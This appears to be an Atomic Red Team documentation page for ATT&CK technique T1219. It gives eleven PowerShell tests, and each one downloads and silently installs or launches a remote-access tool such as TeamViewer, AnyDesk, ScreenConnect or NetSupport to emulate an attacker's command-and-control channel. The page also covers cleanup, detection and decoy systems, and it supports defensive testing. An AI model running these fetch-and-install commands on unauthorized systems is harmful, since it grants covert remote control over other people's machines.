Ctrl+K

T1219 - Remote Access Software

Contents

T1219 - Remote Access Software#

An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as VNC, Team Viewer, AnyDesk, ScreenConnect, LogMein, AmmyyAdmin, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)

Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.

Installation of many remote access software may also include persistence (e.g., the software’s installation routine creates a Windows Service).

Atomic Tests#

Atomic Test #1 - TeamViewer Files Detected Test on WindowsAn adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'

Invoke-AtomicTest T1219 -TestNumbers 1

Cleanup:#

$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null```

Invoke-AtomicTest T1219 -TestNumbers 1 -Cleanup

Atomic Test #2 - AnyDesk Files Detected Test on WindowsAn adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;

Invoke-AtomicTest T1219 -TestNumbers 2

Cleanup:#

$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction Ignore```

Invoke-AtomicTest T1219 -TestNumbers 2 -Cleanup

Atomic Test #3 - LogMeIn Files Detected Test on WindowsAn adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"

Invoke-AtomicTest T1219 -TestNumbers 3

Cleanup:#

get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package 
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore```

Invoke-AtomicTest T1219 -TestNumbers 3 -Cleanup

Atomic Test #4 - GoToAssist Files Detected Test on WindowsAn adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;

Invoke-AtomicTest T1219 -TestNumbers 4

Cleanup:#

try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}```

Invoke-AtomicTest T1219 -TestNumbers 4 -Cleanup

Atomic Test #5 - ScreenConnect Application Download and Install on WindowsAn adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.#

Msiexec will be used to quietly insall ScreenConnect. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
msiexec /i $installer /qn

Invoke-AtomicTest T1219 -TestNumbers 5

Cleanup:#

$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn

Invoke-AtomicTest T1219 -TestNumbers 5 -Cleanup

Atomic Test #6 - Ammyy Admin Software Execution#

An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammyy Admin will be executed.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsing

Invoke-AtomicTest T1219 -TestNumbers 6 -GetPreReqs

Attack Commands: Run with powershell#

Start-Process "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe"

Invoke-AtomicTest T1219 -TestNumbers 6

Cleanup:#

Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue

Invoke-AtomicTest T1219 -TestNumbers 6 -Cleanup

Atomic Test #7 - RemotePC Software Execution#

An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe" -UseBasicParsing

Invoke-AtomicTest T1219 -TestNumbers 7 -GetPreReqs

Attack Commands: Run with powershell#

Start-Process "PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe"

Invoke-AtomicTest T1219 -TestNumbers 7

Cleanup:#

Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction SilentlyContinue      
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinue

Invoke-AtomicTest T1219 -TestNumbers 7 -Cleanup

Atomic Test #8 - NetSupport - RAT Execution#

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe")

Invoke-AtomicTest T1219 -TestNumbers 8 -GetPreReqs

Attack Commands: Run with powershell#

Start-Process "PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe" -ArgumentList "/S /v/qn"

Invoke-AtomicTest T1219 -TestNumbers 8

Cleanup:#

Stop-Process -Name "client32" -force -erroraction silentlycontinue

Invoke-AtomicTest T1219 -TestNumbers 8 -Cleanup

Atomic Test #9 - UltraViewer - RAT Execution#

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe")

Invoke-AtomicTest T1219 -TestNumbers 9 -GetPreReqs

Attack Commands: Run with powershell#

Start-Process -Wait -FilePath "PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'

Invoke-AtomicTest T1219 -TestNumbers 9

Cleanup:#

Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue

Invoke-AtomicTest T1219 -TestNumbers 9 -Cleanup

Atomic Test #10 - UltraVNC Execution#

An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel. Upon successful execution, UltraVNC will be executed.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})#
Check Prereq Commands:#
if (Test-Path $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe') {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe"
start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silent

Invoke-AtomicTest T1219 -TestNumbers 10 -GetPreReqs

Attack Commands: Run with powershell#

Start-Process $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe'

Invoke-AtomicTest T1219 -TestNumbers 10

Cleanup:#

Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue

Invoke-AtomicTest T1219 -TestNumbers 10 -Cleanup

Atomic Test #11 - MSP360 Connect Execution#

An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel. Upon successful execution, MSP360 Connect will be executed.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: MSP360 must exist at (#{MSP360_Connect_Path})#
Check Prereq Commands:#
if (Test-Path $env:ProgramFiles\Connect\Connect.exe) {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" "https://s3.amazonaws.com/cb_setups/_current/cbra/setup.exe?X-Amz-Expires=604800&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA2WIZE3YN7NOSY65U/20230515/us-east-1/s3/aws4_request&X-Amz-Date=20230515T024742Z&X-Amz-SignedHeaders=host&response-content-disposition=attachment;filename=ConnectStandaloneSetup_v3.3.0.15_netv4.5.1_cFA9100C6.exe&X-Amz-Signature=1fe3ddf93f8431b182fac90341f80a4ebf8665ddcc0e36dd385ee20d0ce865c9"
start-process "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" /S    

Invoke-AtomicTest T1219 -TestNumbers 11 -GetPreReqs

Attack Commands: Run with powershell#

Start-Process $env:ProgramFiles\Connect\Connect.exe

Invoke-AtomicTest T1219 -TestNumbers 11

Cleanup:#

Stop-Process -Name "Connect" -force -erroraction silentlycontinue

Invoke-AtomicTest T1219 -TestNumbers 11 -Cleanup

Detection#

Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.

Domain Fronting may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.

Shield Active Defense#

Decoy System#

Configure a computing system to serve as an attack target or experimental environment.

A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.

Opportunity#

There is an opportunity to study the adversary and collect first-hand observations about them and their tools.

Use Case#

A defender can install remote access tools on decoy systems across the network to see if the adversary uses these tools for command and control.

Procedures#

Use an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system. Setup a server which appears to be something that is commonly expected within a network, such as web server.

Contents